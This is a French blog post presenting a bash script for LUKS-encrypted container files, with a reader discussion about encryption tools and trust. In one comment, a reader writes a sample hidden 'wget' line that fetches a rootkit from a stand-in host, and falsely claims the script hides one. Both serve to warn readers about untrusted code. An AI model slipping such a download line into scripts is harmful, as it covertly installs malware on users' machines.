LUKSfile for dummies
Par Petaramesh le mardi 13 novembre 2007, 08:31 - Informatique non-duelle - Lien permanent
(English summary at end)
Ou le Container chiffré pour les Nuls.
Nous avons tous sur nos disques durs quelques petits ou gros secrets : Listes de mots de passe, informations de connexion à notre site bancaire, écrits personnels, photos de nos (innombrables) maîtresses en lingerie fine ou sans... ;-)
Toutes sortes de choses que nous n'aimerions pas voir tomber sous des yeux indiscrets si jamais quelqu'un fourre son nez dans nos petites affaires, si notre machine est perdue ou volée, ou si tout bêtement son disque dur est renvoyé un jour en atelier sous garantie.
Le seul véritable moyen de protéger ces données contre toute indiscrétion est de les chiffrer (le terme "crypter" est incorrect).
GNU/Linux possède pour cela une trousse à outil très puissante, dont l'usage est hélas fort complexe et donc le plus souvent réservé aux initiés.
Voici un moyen de chiffrer vos données avec une facilité déconcertante en utilisant un container LUKS.
Un container LUKS est un fichier "ordinaire" (mais chiffré à l'aide d'un algorithme très puissant et très sûr: AES) qui se trouvera dans votre répertoire personnel ou sur un support amovible (clé USB, etc.).
Le contenu de ce fichier sera totalement inexploitable pour qui ne connaît pas la phrase secrète qui en permet le déverrouillage.
Une fois déverrouillé, le container sera monté et apparaîtra sous vos yeux ébahis en tant que sous-répertoire de votre répertoire personnel (ou du support amovible). Ce répertoire pourra contenir toutes sortes de fichiers et de sous-répertoires, limités seulement par la taille que vous aurez choisi d'affecter à votre container lors de sa création. Vous pourrez utiliser n'importe quel logiciel de votre choix pour accéder aux fichiers chiffrés, qui seront automatiquement chiffrés et déchiffrés à la volée tant que le container sera monté.
Une fois démonté, le sous-répertoire (point de montage) apparaîtra vide, et le fichier-container seulement plein de données indéchiffrables d'apparence aléatoire. Il ne sera possible de déterminer ni la taille des données qu'il contient réellement, ni le nombre ou le nom des fichiers ou répertoires qu'il contient, ni aucune information à leur propos.
Si vous avez créé un container de 256 Mo, on verra juste un fichier de 256 Mo de données aléatoires, point.
Pour obtenir ce résultat, j'ai écrit le script bash "lfd" joint à ce billet.[1] [2]
Ce script vous permet d'utiliser trois commandes simples et à la portée du profane : Une pour créer un volume chiffré, une pour le monter, une pour le démonter, et c'est tout.
Pour installer et utiliser ce script, c'est extrêmement simple :
- Copiez (comme "root") le fichier "lfd" joint (Annexe "LUKSfile for dummies" ci-dessous) dans votre répertoire
/usr/local/bin - Rendez ce script exécutable avec la commande (comme "root") :
chmod 755 /usr/local/bin/lfd - Vous pouvez ensuite exécuter le script sous votre profil utilisateur ordinaire (non-root)
- Lancez simplement le script avec la commande "
lfd", et vous obtiendrez une aide succinte. - "
lfd --help" vous apportera une aide détaillée.
Et voilà !
N'hésitez pas à me faire part de vos remarques, suggestions, problèmes ou bugs dans l'utilisation de ce script.
En espérant qu'il vous sera utile :-)
N.B.:
- Avant d'écrire des fichiers confidentiels, assurez-vous que votre volume chiffré est monté ! S'il ne l'est pas, vos fichiers seront écrits en clair dans le répertoire vide ordinaire qui sert de point de montage, et ne seront pas protégés !
- Quand vous n'avez plus besoin d'accéder à vos fichiers, pensez à fermer les applications qui les utilisent, et à démonter le volume chiffré, sinon les données qu'il contient resteront accessibles (elles deviennent automatiquement inaccessibles si la machine est arrêtée ou rebootée, même violemment).
- Pensez que si un fichier a été écrit une seule fois en clair sur votre disque, il en demeure toujours des traces. Rapportez-vous à mon billet sur l'effacement des fichiers rémanents.
- Pensez que votre système peut utiliser du swap à tout moment, et que certaines applications peuvent générer des fichiers temporaires qui peuvent, en fonction de l'application, être créés ailleurs que dans votre répertoire chiffré (par exemple dans "
/tmp"). Référez-vous à mon article sur le chiffrement du swap, je rédigerai dans quelque temps un billet sur le chiffrement des fichiers temporaires reposant sur le même principe général.
Changelog :
- 2008/02/05: v. 0.97: Small buxfix for use with 2.6.24 kernel and "
sha256_generic" module. - 2008/01/18: v. 0.96: Now supports optionally creating and mounting containers with internal FAT16 or FAT32 filesystem, making them usable under MS Windows with FreeOTFE.
- 2007/11/15: v. 0.94: BUGFIX: Change in 0.93 introduced a possible security issue. Fixed.
- 2007/11/15: v. 0.93: Compatibility FIX: made compatible with older versions of "losetup" that do not understand the "-a" option.
- 2007/11/13: v. 0.92: BUGFIX: Added a couple tests to catch inconsistencies created by some user mistakes.
- 2007/11/13: v. 0.91: COSMETIC: Typo fix in included helptext.
- 2007/11/13: v. 0.90: First public release.
English summary : "LUKSfile for dummies" (lfd): A shell script that allows creating / mounting / unmounting LUKS encrypted filesystems the easy way from container files, with a simple command and takes care of all the loopback and mounting technicalia. Get the script below, put it into /usr/local/bin, chmod it 755 and run it as a normal non-root user. Designed for Ubuntu (but usable on any other distro), makes extensive use of sudo for performing its operations. Run the script to get help (Script help text in english).
Notes
[1] Je joins également à ce billet la signature GnuPG détachée qui permet de vérifier (optionnellement) l'authenticité de ce script, ainsi que sa licence GPL.
[2] L'identifiant de ma clé GnuPG est 9076E32E et son empreinte : CC1F E3A0 6D39 FAB2 B91C 982E 2FC2 5C1D 9076 E32E. Elle est disponible sur tous les bons serveurs de clés ;-)
Commentaires
Dommage que tu n'explique ni ce qu'est LUKS, ni comment ça marche, ni comment marche ton script... Ca aurait été intéressant :)
@Gab : Pour LUKS, j'ai fourni le lien comportant tous les détails techniques, pour mon script, il est sous licence GPL et il est lisible par toute personne intéressée.
Ce billet s'adressant avant tout à ceux qui ne veulent pas s'encombrer des technicalia, je ne suis pas entré dans plus de détails, mais je répondrai volontiers à toute question dans les commentaires ;-)
Et qu'est-ce qui me prouve que ton mâââgnifique script n'est pas un cheval de Troyes programmé pour t'envoyer discrètement tous nos fichiers les plus intimes ? (je pense en particulier aux photos de nos (innombrables) maîtresses en lingerie fine). ;-)
Bon, sans ça, merci pour le script, je teste ça ce soir !
@Toto :
C'est du shell script. Le code source et ce qui est effectivement exécuté sont un seul et même objet. Tu peux le lire et vérifier ce qu'il fait, et il fait appel uniquement à des packages standard d'Ubuntu, Debian ou autres distributions mainline, qui sont eux-même tous du code GPL dont tu peux te procurer le source, vérifier ce qu'il fait si tu en as les compétences, et que tu peux recompiler toi-même si tu n'as pas confiance dans les binaires fournis. Le script est signé par ma clé GnuPG, et tu peux vérifier avec cette clé que la version en ta possession n'a pas été trafiquée par un tiers. Alors, heureux ? :-}
Je m'en vais essayer dans la journée, comme je suis de , ça va être un bon test ;-))
Par contre, va falloir me prêter des
Hé Swâmi, même sur les billets techniques, t'as des lectrices... ;-)
... Oho...
Ton script est écrit en utf-8 et s'affiche en iso-8858-1.
Franchement ça craint. On a l'impression que les commentaires du script eux même sont chiffrés.
Ca marche tout très bien presque du premier coup. Maintenant que j'ai un coffre-fort, je vais chercher des choses à ranger dedans. ;-))
@Christine : Tes fausses manips m'ont permis de rajouter un test anti-bêtise supplémentaire. Il y a donc une nouvelle version du script. Ceux qui ont téléchargé le script antérieurement à la date/heure du présent commentaire sont priés de retélécharger la nouvelle version :-)
@Yves :
Mon script est en UTF-8 car c'est le jeu de caractères par défaut de pratiquement toutes les distributions Linux récentes, à l'installation (Notamment Ubuntu).
Il s'affiche dans le jeu de caractères du terminal. Je ne connais pas de moyen (simple) d'adapter les sorties "echo" d'un script bash au jeu de caractres du terminal.
Mais tu peux passer ton terminal en UTF-8 ;-))
Oui, je sais, je hais l'UTF-8 ;-)
Ceux qui voudraient le script en ISO n'ont qu'à faire :
Après, bien sûr, ma signature GnuPG ne sera plus valide sur la version ainsi modifiée, mais ça n'en affectera pas le fonctionnement.
Je me pose une question : la phrase secrète, elle est "en clair", des fois*, dans ma tête. ça craint un peu, non ? :o)
Voilà, ayé, j'ai moi aussi mon coffre-fort ! Merci Swâmi.
L'installation n'a pas été facile pour un vrai Nul comme moi. Ne reculant devant paucun sacrifice je vais donc étaler sans aucune (fausse) pudeur mon ignorance et ma stupidité. Ça aidera peut-être ceux qui rigolent au fond de la classe et n'osent pas poser la question ;-)
(parenthèse on)
Me suis un peu énervé contre la gestion du root d'Ubuntu : c'est pas parce que je suis un crétin qu'il faut m'empêcher de faire des conneries en me compliquant la vie. C'était un mal pour un bien puisque j'ai trouvé le moyen de rétablir un compte root sous Ubuntu. Non mais ! Je sais, je sais, c'est mal.
(parenthèse off)
donc :
1) Ne pas utiliser le clic droit « enregistrer la cible du lien » à partir de firefox qui créera un fichier .htm car après ça marche pas même si ça fait semblant. Pour ma part, j'ai ouvert le fichier (clic gauche) et enregistré le fichier à partir du menu Fichier>enregistrer sous. Peut-être qu'il est possible de simplement supprimer l'extension .htm du fichier ?
2) Accepter l'installation des fichiers manquants...
3) A la question « type uppercase yes », il faut écrire comme c'est indiqué en anglais. Je sais pas pourquoi, en informatique, mon cerveau fait parfois des noeuds à la moindre évidence. Il ne faut pas croire le commentaire de Swâmi qui indique d'inscrire sa phrase secrète. C'est l'étape suivante; où il faut se concentrer car la phrase en question n'apparaîtra pas en clair et même pas du tout, même pas avec des *. C'est un peu paranoïaque mais il y a sûrement une bonne raison. Pas trop d'inquiétude toutefois car il faut confirmer la phrase mais de la concentration car à moins d'être dactylo et d'avoir un bon clavier (pas comme le mien), une erreur est vite arrivée et ça peut durer longtemps...
3)Une fois l'installation réussi (ce qui m'a pris 2 heures, on ne se moque pas!), tout devient très simple. Le script (c'est comme ça que ça s'appelle ?) de Swâmi est vraiment pour les dummies. Il suffit de taper, en console, lfd et toutes les commandes essentielles s'affichent. La classe ! Si tous les linuxiens (j'en connais quelques uns) voulaient bien comprendre ceux qui ne le sont pas, windoze aurait du souci à se faire.
Encore merci, pour le script (name ?) mais aussi et surtout pour la démonstration que l'accès aux fonctions évoluées de Linux n'est pas, par nature, réservées aux spécialistes. Tu démontres parfaitement que « ceux qui savent » peuvent permettre aux autres d'en profiter sans les obliger eux-mêmes à devenir spécialistes.
Pour ces raisons et d'autres que je ne vais pas émunérer dans un commentaire déjà bien long : bravo, bravo, bravo !
Et toutes ces sortes de choses!
Trop fort Swâmi, je suis convaincu et conquis. L'essayer c'est l'adopter !
Bravo et merci !
Otrynteus :
Quand je suis passé de Mandriva à Ubuntu, je m'étais dit qu'une des premières choses que je ferais serait de coller un mot de passe à root. Puis j'ai trouvé que finalement, "
sudo -s" le faisait aussi bien que "su" tout court, bien que je sois considérablement flemmard ;-)Je me suis donc contenté d'un "
authorized_keys" pour pouvoir faire du SSH comme root, et la blague est faite ;-)>
Beh, tu enlèves "
.htm" de la fin du nom du fichier lors de l'enregistrement, ou tu le renommes après, la belle blague :-DTu ne vas tout de même pas te laisser dicter ta loi par une extension de fichier proposée par un navigateur mononeuronal ? ;-)
>
N'est-ce pas ! :-D Navré, ce message provient directement de cryptsetup, qui ne semble pas avoir de locale française...
>
Tu remarqueras que quand tu te loggues dans une console texte ou quand tu fais un "
su" ou un "sudo", le mot de passe n'est pas affiché du tout non plus... Ni par aucun système de chiffrement en mode console sous GNU/Linux.>
Promis, on ne dira rien ;-)
>
...au bout du compte, et j'en suis heureux :-)
>
Heureux que cela fonctionne et que cela puisse t'être utile :-)
Quand je dis de ton script qu'il s'affiche en UTF-8, c'est bien sûr dans le navigateur dont je parlais. Je sais faire parler UTF-9 à mon terminal, mais c'est ton apache qui envoie ton script avec l'info qu'il est codé en ISO-8859-1.
Tu as du paramétrer ton apache en pensant très fort à tout le ml que tu penses de l'UTF-8, mais depuis tu t'es mis à imiter Martine.
Wow. Les scripts Bash avec plein de lignes, ça impressionne.
C'est un peu le remplaçant de mkcryptfs (souvenir, souvenir...) ?
Et sinon, petite question technique, quel est l'intérêt par rapport à un répertoire monté avec fuse et encfs ? Ce dernier a notamment l'avantage de ne pas devoir fixer la taille du répertoire à l'avance, non ?
@Yves (#15) :
Mon Apache n'a aucun moyen de connaître le jeu de caractères employé dans un fichier de type "texte" quelconque qu'on lui donne à servir et qui ne comporte aucun header HTML. Ne sachant pas, il indique dans ses headers HTTP sa valeur par défaut qui est ISO-8859-1 - et qui est nécessaire au service correct d'autres éléments plus importants.
@Julien :
On peut même dire que c'est son successeur :-}
>
Il y a toujours plusieurs façons d'arriver à un résultat donné. On en choisit souvent une en fonction de ce qu'on maîtrise le mieux. J'ai davantage d'expérience - et de confiance - dans l'efficacité de la couche cryptoapi du noyau et du devicemapper, aboutissant à dm-crypt puis à LUKS.
Une chose rédhibitoire pour moi avec encfs est qu'il ne chiffre pas les métadonnées, et que la taille des fichiers, leur nombre, leurs droits, leur date/heure de création ou modification sont visibles sans déchiffrage. On ne peut pas décrypter le contenu des fichiers, du moins en connaît-on le nombre, la taille et l'usage.
A contrario, le container LUKS est parfaitement opaque. On ne peut en voir que la taille fixée à la création, et rien d'autre, même pas savoir s'il est vide ou plein, s'il contient 5 gros fichiers ou 10000 petits, des sous-répertoires ou non, ni quand les fichiers qu'il contient ont été accédés ou modifiés.
Ceci me semble mille fois préférable, et le prix de la taille fixe du container n'est pas cher payé pour cela. S'il devient plein un jour, on peut soit en créer un plus gros et tout recopier dans le nouveau, ou en utiliser plusieurs en parallèle.
Et pour la journalisation comment est ce que ça se passe ?
D'après ce que j'ai compris le fichier est d'abord écrit ailleurs lors de la journalisation.
Est-ce que mon fichier est journalisé une fois chiffré ? ou bien est ce que c'est le conteneur qui est journalisé ?
@Sylvain :
il s'agit effectivement d'un filesystem ext3 journalisé, le journal est situé à l'intérieur du filesystem, donc du device chiffré, et est chiffré également (comme tout ce qui a trait au filesystem, dont on ne peut obtenir aucune caractéristique tant que le volume chiffré LUKS n'est pas activé sous
/dev/mappervia cryptsetup luksOpen => dm_crypt).sa valeur par défaut qui est ISO-8859-1 - et qui est nécessaire au service correct d'autres éléments plus importants.
Oh ça sent l'excuse de feignant ! un .htaccess au bon endroit avec les bonnes options, ça marcherait pas? Je me gausse, je me gausse!
Pour le mot de passe root, si le système échoue au fsck automatique il te demande au mot de passe root pour lancer le fsck à la main. Tu fais comment si tu en as pas mis? Moi ubuntu la première chose que je fais c'est lui en mettre un.
@Yves :
Moi, je n'ai pas échoué au fsck : Je l'ai eu du premier coup !
Pas mal ton installeur de rootkit planqué ligne 484-485. Planquer ça dans ces regexp avec des variables au nom innocent, c'est bien trouvé.
J'ai mis plus de 10 min à décrypter le fonctionnement de cet empilement. de variable planquées les unes dans les autres! C'est bien trouvé, je te repiquerai l'idée un de ces jours.
Swâmi Petaramesh, Roi du hacking par ingéniérie sociale via son blog. Avec des idées pareilles tu vas finir à la une de Misc-magazine.
Yves, tu es un hooligan !
Cela dit, ne trouves-tu pas, honnêtement, un peu crétin de semer le doute dans l'esprit du lecteur innocent qui prendra ça au premier degré ? Ça s'appelle semer le FUD, ça, et le FUDeur mérite l'excommunication immédiate !
A vrai dire, et comme j'espère sincèrement que ce script rendra service à beaucoup de monde, à commencer par des débutants ou de non spécialistes, je ne trouve que très modérément humoristique de voir un ami semer publiquement le doute sur un truc que je me suis quand même bien fait chier à écrire. Tu as encore oublié d'allumer ton gros panneau "Second degré !""
Groumpf :-/
Et moi je dis ça pose une vraie question. Ce script, tu pourrais tout aussi bien le faire installer SUID root par ta liste d'instruction, ou il pourrait tout aussi bien inclure de quoi exploiter une faille courante pour passer root.. En toute discrétion.
Et ensuire il n'est guère difficile de planquer un "wget -nd http://h4x0r.org/r00tK1t.tgz" au milieu avec quelques varaibles au nom innocent remplies au départ d'information pertinentes et remplacé un peu plus loin via une regexp un peu illisible (pléonasme).
Bref, ce genre de script, confié via un site web dont l'auteur a l'air à peu près sympathique (mais l'a-t-il seulement écrit lui-même ?), qu'on doit télécharger et installer à coup de chroot/chmod sous root, révèle un danger. Il n'y a pas de sécurité sans une bonne dose de paranoïa.
Une personne que mon commentaire précédent a rendu un peu inquiet (genre: «heuu... il rigole là ?») ne devrait pas télécharger et installer n'importe quoi sous prétexte que la personne qui présente un truc a l'air sympathique. LUKS peut s'utiliser directement à la main si on a besoin.
Pour le reste, non je n'ai pas lu ni décortiqué ce script. J'ai juste cherché une paire de ligne un peu absconse pour montrer que le danger existe. Ça t'embête que je fasse poser à tes lecteurs ce genre de question ?
Cher Maître
Merci pour cette série de tutoriels sur la cryptographie où je trouve enfin une réponse simple à un problème sur lequel je butais depuis quelques temps: comment conserver des données chiffrées, organisées comme dans une arborescence de fichiers ordinaires, sans avoir à trafiquer au niveau du noyau. Et si ça pouvait motiver quelques personnes à s'intéresser à ce sujet, dont l'aspect technique décourage en général la plupart des gens, ce ne serait pas peine perdue. Je suis convaincu que, compte tenu des atteintes de plus en plus agressives portées au respect de la vie privée, tout utilisateur d'ordinateur, même le plus rétif au côté technique de la chose, sera amené, tôt ou tard, à considérer cette question.
Je viens de faire quelques essais de votre script et cela à l'air d'assez bien fonctionner. À ceci près que sur ma vieille Fedora 4 (ben oui, mon ordinateur n'est plus tout jeune non plus), losetup ne reconnaît pas l'option '-a'. Comme, pour moi, ce périphérique de boucle est à peu près aussi incommensurablement mystérieux que le concept de Cela, je vous demande humblement, cher Maître de quelle manière il serait possible de contourner ce problème.
@Yves:
Pas la peine de planquer une installation de rootkit dans des regexp: la syntaxe de bash est déjà assez illisible pour le commun des mortels pour cela ;)
@Yves :
Du tout, mais ils les ont posées spontanément, comme tu l'as vu ;-)
Ce qui m'embête, c'est que tu poses dans ton commentaire (#22) une affirmation fausse au présent de l'indicatif.
Là, tu reviens au conditionnel, et ça me va beaucoup mieux.
Il n'existe qu'une réponse possible à ce genre de conditionnel - en dehors de , c'est : Lisez le code et assurez-vous de ce qu'il fait par vous-même. Il est suffisamment simple pour être vérifiable sans connaissances approfondies en dehors de "man bash".
Si vous n'avez pas les compétences pour le lire vous-même et que c'est pour vous une question critique, faites-le contrôler par un tiers compétent de votre choix, payez-le pour ça au besoin. Si vous le payez, tant qu'à faire, payez-le aussi pour améliorer le script et y ajouter des fonctionnalités.
Adressez-vous à un membre de la liste dm-crypt par exemple.
Le doute est salutaire et on n'est jamais trop parano. La seule chose qui me gêne fortement est que tu n'aies pas exposé la question sous cette forme, mais par le biais d'une affirmation inexacte.
La confiance dans un quelconque système de chiffrement repose sur le "peer review", ou au minimum la possibilité du "peer review". Une fois le script dans la nature, n'importe qui a la possibilité de le vérifier.
J'ai annoncé l'existence de ce script au mainteneur de LUKS en lui proposant de l'inclure dans la distribution de cryptsetup, et l'ai mentionné dans son Wiki. Il est donc très probable que ce script sera prochainement testé et vérifié par des personnes qui ont toutes les compétences requises pour s'assurer de l'absence de tout piège tordu.
S'il y en a un, il sera découvert tôt ou tard. Celui qui persiste dans le doute peut donc décider d'attendre quelque temps avant d'utiliser ce script, et s'il n'arrive pas à lever son doute ainsi, il pourra préférer de ne pas l'utiliser du tout.
Mais celui-là, quel logiciel de chiffrement pourra-t-il alors utiliser ?
Sinon, tu sais quoi ? Je n'ai pas personnellement contrôlé le code source de LUKS ni celui de GnuPG. Je n'en ai pas les compétences. Mais je les utilise quand-même, et je dors assez bien la nuit :-}
@Michel :
Hum. A vrai dire, c'est en écrivant le script que j'ai eu la délicieuse suprise de voir que losetup reconnaissait maintenant "-a", et je l'ai mis à profit.
Ne t'est-il pas possible d'installer un paquet losetup plus récent sur ta vieille Fedora ? Si ce n'est pas le cas, il va falloir que je modifie le script pour ne plus utiliser cette option mais faire une boucle à la place, ce qui sera moins esthétique, mais plus largement compatible avec les vieilles versions...
Stay tuned, je vais regarder ce que cela implique.
@Michel : Je viens de mettre en ligne une nouvelle version (0.93) qui n'utilise plus le flag "-a" avec
losetup, ce qui devrait la rendre compatible avec ton système. Veux-tu tester et me le confirmer ?@Yves : Il se trouve que cette modif complexifie encore les lignes 482-484 du script, qui te plaisaient déjà tellement ;-)
@Swâmi
Ne t'est-il pas possible d'installer un paquet losetup plus récent sur ta vieille Fedora?
Pas évident. Il fait partie d'un rpm nommé util-linux qui contient bon nombre d'utilitaires GNU de base. Une mise à jour aussi massive risquerait de déstabiliser grave ma vieille bourrique. Autant réinstaller un système d'exploitation tout neuf, mais avec le temps, je suis arrivé à un équilibre, avec les logiciels qui me conviennent, que je n'ai pas envie de remettre en cause.
Si j'ai bien compris, le problème est que cela empêche une désactivation correcte du périphérique de boucle utilisé et, par conséquent, interdit un démontage propre de la partition sur lequel le système de fichier chiffré est monté - ce que j'ai pu vérifier à l'occasion d'un reboot. Il se peut aussi qu'une suite de montages/démontages aboutisse à une saturation du périphérique de boucle (toujours, si j'ai bien compris ce que j'ai lu à ce sujet, mais il est vrai que je ne connais pas grand chose à cette affaire).
Pour obtenir une information sur les périphériques actifs, ma version de losetup ne dispose que de l'option '-f', qui semble quand même très très primitive. S'il y a un moyen d'aboutir avec cette option au même résultat qu'avec l'option '-a', je ne le connais pas.
PS: En prévisualisant ce texte, je viens de découvrir ton dernier commentaire. Je m'y attelle et je te dirai ce qu'il en est.
@Michel : Prends la dernière 0.94. Je me suis aperçu que ma modif de 0.93 posait problème, et j'ai corrigé.
Merci, Swâmi. Tout a l'air de bien fonctionner à présent.
J'ai fait une série de tests (versions 0.93 et 0.94), en créant plusieurs conteneurs, puis en les montant/démontant dans tous les sens et en vérifiant le résultat à l'aide de 'losetup -f' et tout a l'air correct, y compris le démontage de la partition qui les contient.
Je laisse à Yves le plaisir de trouver les rootkits que tu cacherais dans ce script. La syntaxe de bash, avec ses '$' et ses '!' partout, est un régal qu'on se doit d'offrir aux plus fins gourmets! Dire qu'il y en a qui n'aiment pas l'UTF-8... ;)
@Michel :
C'est parfait. Je te remercie pour tes tests et tes commentaires.
Bien sûr que j'ai mis mon affirmation au présent de l'indicatif. Le but étant clairement que le lecteur ait un doute. Est-ce que par hasard je serais tombé sur un hackeur social qui me manipulerait depuis l'ouverture de son blog? Je Fudde, pour que tes lecteurs réfléchissent un peu. Je n'aime pas cette habitude de windowsien d'installer tout et n'importe quoi sans se demander de qui ça vient. Quand on a eu un peu peur une fois on s'en rappelle un peu mieux.
Installer n'importe quoi sur sa machine sans réfléchir, c'est assurément prendre de très mauvaises habitudes. Se dire, ok, j'y vais, parce que je fais confiance à Swâmi, c'est déjà un raisonnement un peu plus sain. Se demander à qui on fait confiance, et pourquoi on fait confiance, et surtout ne pas installer un truc sans se dire: si ça trouve, je place mal ma confiance et c'est un malware.
Lire le code? J'ai placé exprès la barre assez haut en imaginant tes regexp modifier des valeurs pertinentes en toute discrétion. Combien, parmi tes lecteurs, savent interpréter les regexp de ton fichier? C'est illusoire de placer la confiance dans la lecture du code.
Placer la confiance dans le fait que le code est public et pourra être relu par des spécialistes, c'est déjà un peu mieux. A condition de ne pas être pressé. Quand tu as mis le code en ligne, personne ne l'avait relu.
On peut aussi imaginer que quelqu'un balance une version modifié de ton script sur le net (ou sur une liste de diffusion) en affirmant que c'est le tien qu'il a juste corrigé une typo. Plus de vérification possible par la clef, et le script ne vient pas du lieu original directement. On fait confiance parce que c'est sensé venir de Swâmi? Ou on va chercher l'original sur le site de Swâmi pour être sûr ? Tu as insisté sur la possibilité de vérification avec la signature, mais pas sur le fait qu'un tel script peut potentiellement être dangereux si on le prend n'importe où sans y réfléchir. Et ce n'est "qu'un script shell".
Oui je fudde. Pour que les gens réfléchissent. Mais je n'ai pas d'illusion, les mauvaises habitudes sont dures à perdre.
@Yves :
Quiconque utilise un script "lfd" dont la signature ne peut pas se vérifier avec ma clé GPG utilise un script qui n'est pas authentique et a été modifié.
L'auteur et les modifications effectuées doivent être clairement identifiables, mais en tout état de cause, je ne donne aucune garantie (et le conseil de se méfier extrêmement) de tout script présenté comme dont la signature ne peut pas se vérifier avec ma clé GPG. Un tel script ne provient pas de moi, point.
Après, toute la question consiste à s'assurer que la clé présentée comme la mienne est effectivement la mienne... La mienne porte le numéro
9076E32Eet son empreinte est :CC1F E3A0 6D39 FAB2 B91C 982E 2FC2 5C1D 9076 E32E.J'invite d'ailleurs toute personne qui me connaît IRL, et peut s'assurer par lui-même de l'authenticité de cette clé à bien vouloir le faire, la signer, et m'en retourner l'exemplaire signé de manière à ce que sa propre signature puisse ainsi authentifer ma clé.
Aïe, j'aimerais bien te rendre ce service mais je ne remplis que la première condition , celle qui concerne l'IRL. Pour le reste, chuis larguée, je ne saurais même pas m'assurer de l'authenticité de la clé !
Tu trouveras bien une autre
poiregeekâme charitable pour le faire, hein, rassure-moi ?et Truecrypt dans tout ça, c'est pas aussi simple ?
http://doc.ubuntu-fr.org/truecrypt
@Albaran : Comme je le disais plus haut, il y a toujours plusieurs manières de parvenir plus ou moins au même résultat, chacune ayant ses avantages et ses inconvénients.
Je n'ai pas d'expérience personnelle de TrueCrypt, et donc pas d'avis sur la sécurité réelle qu'il procure. Ce qui me paraît extrêmement intéressant chez TrueCrypt c'est la possibilité de déniabilité qu'il offre, en permettant de camoufler un container secret invisible dans l'espace libre d'un container secret qui n'est qu'un leurre (c'est-à-dire qu'on est prêt à déchiffrer en cas de requête "pressante"). Ainsi, l'adversaire ne peut pas démontrer qu'on a refusé de déchiffer, puisqu'on lui a effectivement ouvert un container chiffré - qui ne contient rien de bien passionnant puisqu'il est justement conçu comme un leurre - et à partir de là l'adversaire n'a aucun moyen de prouver s'il existe ou non un niveau de chiffrement supplémentaire camouflé à l'intérieur de l'espace libre du premier, ce qui permet la déniabilité.
Encore une fois, je ne l'ai pas testé donc n'ai pas d'avis éclairé, mais si le truc tient ses promesses, c'est extrêmement intéressant pour toute personne pour qui la déniabilité serait un point crucial.
le truc tient ses promesses depuis longtemps sous windows et plus récemment avec linux. On peut travailler aussi bien avec de petits containers que de très gros, incluant le disque dur entier.
l'installation et utilisation sont très simples avec windows, un peu plus compliqué avec linux, voir http://doc.ubuntu-fr.org/truecrypt
@Albaran :
Oui, c'est basé sur e4m qui avait bonne réputation.
>
Voilà. Et mon but était de faire quelque chose de simplissime pour le mettre à la portée de tous : Tu enregistres un script, tu le lances, et basta.
Y'a aussi la question de la compatibilité future (et donc de l'utilisation future de containers créés dans d'anciennes versions) : Je ne me fais pas de soucis pour le futur d'un système utilisant les modules de crypto du noyau, dm-crypt et LUKS.
Pour un logiciel comme TrueCrypt, je n'ai pas le recul nécessaire pour me faire une idée.
En ce qui me concerne, je suis passé au cours des âges de l'ancienne cryptoapi à loop-aes puis maintenant à dm-crypt+LUKS... Pas encore mis les doigts dans TrueCrypt ni dans cryptmount (interface à dm-crypt) qui existe en package Ubuntu et semble simple d'emploi, mais qui nécessite tout de même la création d'un fichier de configuration en mode administrateur.
Le but de LFD était aussi de pouvoir se passer de tout fichier de config et de toute entrée dans fstab ou crypttab. Le choix de la simplicité au détriment de la souplesse, d'une certaine manière, mais l'expérience démontre que le débutant recule souvent devant la complexité et le nombre de choix possibles, et que fournir une solution "simple mais efficace" est toujours utile. D'où mon script, écrit d'ailleurs pour mes propres besoins et dont je suis le premier utilisateur ;-)
un avantage de truecrypt est l'utilisation du même container (sur clé USB par exemple) sur des systèmes différents : linux à la maison, windows au travail.
Rien n'empêche d'ailleurs l'utilisation conjointe de truecrypt et de lfd pour des besoins différents. J'utilise aussi axcrypt pour des documents (chiffrage de fichiers individuels).
@albaran :
J'ai GNU/Linux à la maison, et GNU/Linux au travail Gniark-gniark-gniark ;-)
Cela dit, un container LUKS est apparemment utilisable sous Windows avec FreeOTFE, mais encore faudrait-il que le container soit formaté en FAT16 ou FAT32. J'ai fait le choix pour LFD de formater en ext3 pour des raisons de robustesse du filesystem, mais il ne faudrait pas une bien grosse modif pour rajouter la FAT en option...
S'il y a de la demande, je pourrai y songer.
>
Toutafé.
Comment peut-on spécifier un point de montage spécifique (différent du HOME) ?
Et, dans le même genre, comment peut-on spécifier l'endroit où il faudra stocker le fichier .monvolume ?
Merci de tes réponses !
@Aldino : Bizarrement, "
lfd --help" répond à ta question. Extrait donc de l'aide en ligne que tu n'as pas lue :Le fichier s'appellera toujours
.trucet le point de montage sera créé commetrucdans le même répertoire (à condition bien sûr d'avoir les droits adéquats sur ce répertoire).Comme un con, j'étais allé voir dans le source du shell, et en regardant (un peu en diagonal il est vrai) je n'ai pas réussi à trouver où on pouvait spécifier de tels paramètres...
Merci !
Bonjour. J'utilise votre script depuis quelques temps et je le trouve fort pratique. Merci beaucoup. Comme ceux-ci devenaient encombrants, j'ai commencé à graver des containers cryptés sur CDROM. Hélas, lorsque j'essaie de les monter par "lfd /media/cdrom/test on", j'ai un message me disant que " Le répertoire '/media/cdrom' n'existe pas ou n'est pas accessible en écriture !"... ce qui est vrai ;-) N'y a t-il pas moyen de monter dans ce cas le volume en lecture seule ? Je vais essayer de me plonger dans votre script... mais je ne suis pas très doué ;-)
Merci d'avance et merci d'avoir mis ce script en ligne.
@Salan : Bonjour,
Je n'ai en effet pas initialement prévu le sctipt pour une utilisation sur des containers en lecture seule.
Vous pouvez essayer (je n'ai pas testé, donc je ne garantis pas) de copier votre script "lfd" sous le nom "lfd-ro" pour vous en faire "un qui marche en lecture seule" et faire les modifs suivantes (à vue de nez)
-a -w "${cfile}"» du test-a -w "${cdir}"» du testluksOpen", rajoutez le paramètre «--readonly»-o", rajoutez «ro,» en ne laissant pas d'espace entre «ro,» et l'option qui suit.-p" par "-n"Avec ces modifs, ça a une bonne chance de marcher. Vous utiliserez le script "lfd-ro" et non plus "lfd" pour monter vos volumes en lecture seule.